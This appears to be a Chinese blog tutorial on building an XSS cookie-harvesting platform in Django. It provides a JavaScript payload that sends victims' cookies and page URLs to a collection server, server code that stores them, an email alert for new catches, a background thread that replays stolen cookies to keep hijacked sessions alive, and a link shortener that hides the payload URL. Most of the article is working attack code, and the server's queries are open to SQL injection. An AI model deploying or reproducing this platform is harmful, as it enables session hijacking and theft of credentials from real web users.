欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

使用Django简单编写一个XSS平台的方法步骤

程序员文章站 2023-10-18 10:33:49
1) 简要描述 原理十分简单2333,代码呆萌,大牛勿喷 >_< 2) 基础知识 xss攻击基本原理和利用方法 django框架的使...

1) 简要描述

原理十分简单2333,代码呆萌,大牛勿喷 >_<

2) 基础知识

  • xss攻击基本原理和利用方法
  • django框架的使用

3) let's start

0x01

工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:

  • python 3.7.0
  • pycharm
  • windows 10
  • mysql 8.0.15
  • django 2.1.3

需要用到的第三方库:

  • django
  • pymysql
  • requests

0x02

我们先看一下xss脚本是如何工作的

var website = "http://127.0.0.1"; (function() { (new image()).src = website + '/?keepsession=1&location=' + escape((function() {
    try {
      return document.location.href
    } catch(e) {
      return ''
    }
  })()) + '&toplocation=' + escape((function() {
    try {
      return top.location.href
    } catch(e) {
      return ''
    }
  })()) + '&cookie=' + escape((function() {
    try {
      return document.cookie
    } catch(e) {
      return ''
    }
  })()) + '&opener=' + escape((function() {
    try {
      return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
    } catch(e) {
      return ''
    }
  })());
})();

这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为get参数传给服务器。

注意:这里使用ajax可能会出现cors跨域问题。

0x03

先给出关键代码,其他都是django相关的内容,这里不做相关讨论。

"""
根据url值动态返回相应的javascript代码
"""
import pymysql,os
from user.safeio import re_check

def get_info(url):
  if not re_check(url,'num_letter'):
    return 'default'
  db = pymysql.connect('localhost','root','root','xss')
  cursor = db.cursor()
  cursor.execute("select name from projects where url='"+url+"'")
  js_name = cursor.fetchone()[0]
  if js_name == none:
    return 'default'
  else:
    return (js_name)

def get_js_value(url):
  js_name = get_info(url)
  file = '\\script\\'+js_name + '.js'
  js_value = open(os.getcwd()+file).read()
  js_value = js_value.replace('<-1234->',url)
  return js_value
import pymysql,time
from .getscript import get_info

def connect():
  try:
    db = pymysql.connect('localhost', 'root', 'root', 'xss')
    cursor = db.cursor()
    return db,cursor
  except:
    print('连接数据库失败,正在尝试重新连接')
    connect()

def put_letter(requests,url):
  now_time = time.strftime('%y-%m-%d %h:%m:%s',time.localtime(time.time()))[2:]
  if 'http_x_forwarded_for' in requests.meta:
    ip = requests.meta['http_x_forwarded_for']
  else:
    try:
      ip = requests.meta['remote_addr']
    except:
      ip = '0.0.0.0'
  ip = ip.replace("'","\'")
  origin = requests.get.get('location','unknown').replace("'","\'")
  software = requests.meta.get('http_user_agent','unknown').replace("'","\'")
  method = requests.method.replace("'","\'")
  data = requests.get.get('cookie','no data').replace("'","\'")
  keep_alive = requests.get.get('keepsession','0').replace("'","\'")
  list = [now_time,ip,origin,software,method,data,keep_alive]
  put_mysql(list,url)

def put_mysql(list,url):
  db,cursor = connect()
  name = get_info(url)
  cursor.execute("select user from projects where url='"+url+"'")
  user = cursor.fetchone()[0]
  m_query = "insert into letters(time,name,ip,origin,software,method,data,user,keep_alive) values('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"
  m_query = m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6])
  cursor.execute(m_query)
  db.commit()
  db.close()

def get_letters(username):
  db, cursor = connect()
  m_query = "select * from letters where user = '{}'"
  m_query = m_query.format(username)
  cursor.execute(m_query)
  result_list = cursor.fetchall()
  return result_list

既然我们知道了xss脚本会将信息构造通过get的参数形式传给xss平台,我们只需在服务器接受数据并保存即可。

0x04

我们可以为我们的平台编写新的功能以完善我们的平台,如邮件提醒,cookie活性保持等

#coding=utf-8

'''
邮件发送
'''

import smtplib
from email.mime.text import mimetext
from email.utils import formataddr

my_sender='xxxx'
my_pass = 'xxxx'

def send_mail(user_mail):
  try:
    print(user_mail)
    msg=mimetext('您点的外卖已送达,请登录平台查询','plain','utf-8')
    msg['from']=formataddr(["xss平台",my_sender])
    msg['to']=formataddr(["顾客",user_mail])
    msg['subject']="您点的外卖已送达,请登录平台查询"
    server=smtplib.smtp_ssl("smtp.qq.com", 465)
    server.login(my_sender, my_pass)
    server.sendmail(my_sender,[user_mail,],msg.as_string())
    server.quit()
  except exception:
    pass
'''

使用独立于主线程的其他线程


来保持通用项目的cookie信息'活性'


默认保持一个小时的活性
'''

import requests,queue,time,pymysql

cookie_time = 1

def decrease(time,number):
  if time < number:
    time = '0'+str(time)
  else:
    time = str(time)
  return time

def count_time(now_time):
  global cookie_time
  year = int(now_time[0:2])
  month = int(now_time[3:5])
  day = int(now_time[6:8])
  hours = int(now_time[9:11])
  if hours < cookie_time:
    if day == 1:
      if month == 1:
        month=12
        year -= 1
      else:
        day=30
        month -= 1
    else:
      day -= 1
      hours += 19
  else:
    hours -= 5
  hours = decrease(hours,10)
  day = decrease(day,10)
  month = decrease(month,10)
  year = decrease(year,10)
  dec_time = ("{0}-{1}-{2} {3}").format(year,month,day,hours) + now_time[11:]
  return dec_time

def create_queue():
  cookie_queue = queue.queue()
  now_time = time.strftime('%y-%m-%d %h:%m:%s', time.localtime(time.time()))[2:]
  dec_time = count_time(now_time)
  m_query = ("select software,origin,data from letters where name='default' and time>'{}' and keep_alive = '1'").format(dec_time)
  db = pymysql.connect('127.0.0.1','root','root','xss')
  cursor = db.cursor()
  cursor.execute(m_query)
  return_list = cursor.fetchall()
  for x in return_list:
    cookie_queue.put(x)
  return cookie_queue

def action():
  while true:
    time.sleep(60)
    task_queue = create_queue()
    while not task_queue.empty():
      tasks = task_queue.get()
      url = tasks[1]
      ua = tasks[0]
      cookie = tasks[2]
      headers = {'user-agent': ua, 'cookie': cookie}
      try:
        requests.get(url, headers=headers)
      except:
        pass

注意这里需要使用独立于django主线程的子线程,比如我在manager.py里添加了这么一段代码:

import threading
from xssplatform.keep_alive import action

class keep_thread(threading.thread):
  def __init__(self):
    super(keep_thread,self).__init__()
  def run(self):
    action()

if __name__ == '__main__':
  th = keep_thread()
  th.start()

短链接:

'''
短链接生成
接口c7.gg
'''

import requests,json

headers = {
  "accept" : "application/json, text/javascript, */*; q=0.01",
  "accept-encoding" : "gzip, deflate, br",
  "accept-language" : "zh-cn,zh;q=0.9,en;q=0.8",
  "content-length" : "53",
  "content-type" : "application/x-www-form-urlencoded; charset=utf-8",
  "origin" : "https://www.985.so",
  "referer" : "https://www.985.so/",
  "user-agent" : "mozilla/5.0 (windows nt 10.0; wow64) applewebkit/537.36 (khtml, like gecko) chrome/63.0.3239.132 safari/537.36",
}

def url_to_short(url):
  global headers
  data = {'type':'c7','url':url}
  r = requests.post('https://create.ft12.com/done.php?m=index&a=urlcreate',data=data,headers=headers)
  list = json.loads(r.text)
  return list['list']

4) 最后

其实看起来高大上的xss平台原理就那么简单,真正难的部分是关于xss跨站脚本的编写。

此项目已开源于 github ,有任何问题可以提交issue,我会在第一时间进行回复。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。